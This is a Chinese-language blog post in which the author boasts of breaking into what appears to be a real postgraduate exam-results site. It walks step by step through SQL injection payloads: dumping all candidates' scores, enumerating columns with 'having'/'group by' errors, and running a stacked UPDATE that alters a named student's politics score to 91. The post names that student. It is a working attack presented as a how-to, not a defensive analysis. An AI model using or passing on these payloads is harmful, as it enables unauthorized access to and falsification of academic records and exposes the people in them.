首页 > 入侵渗透, 我的作品, 胡说胡写, 脚本相关 > 考研成绩我也想改就改

考研成绩我也想改就改

自从拜读了 剑心 的文章之后 感受颇深。

我也来了一次实践改分~。

找到了一个网站  提交 3333′ or 1=1–   返回了所有人的成绩 注意一下 吉子轩的政治成绩
http://www.spookzang.net/upload/12.jpg

我在提交 333′ having 1=1–  把表和字暴出来

http://www.spookzang.net/upload/13.jpg

在提交 3389′ group by 专业课 having 1=1–  继续暴。

http://www.spookzang.net/upload/14.jpg

在提交3389′ group by 专业课,政治 having 1=1– 继续暴。
直到显示正常为止。

我最后暴出了 专业课,政治,顺序号,
bh,xm,zkzh,kc1mc,kc1zcj,kc2mc,kc2zcj,kc3mc,kc3zcj,kc4mc,kc4zcj,kc5mc,kc5zcj,kc6mc,kc6zcj   这些表。

显然 xm是姓名   zkzh准考证号 kc1zcj应该是一门成绩,没具体研究。

我们就改 吉子轩的政治成绩 
提交 333′; update gxsz set 政治=’91′ where xm=’吉子轩’–

看 她的成绩变为 91了 。

http://www.spookzang.net/upload/15.jpg

  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.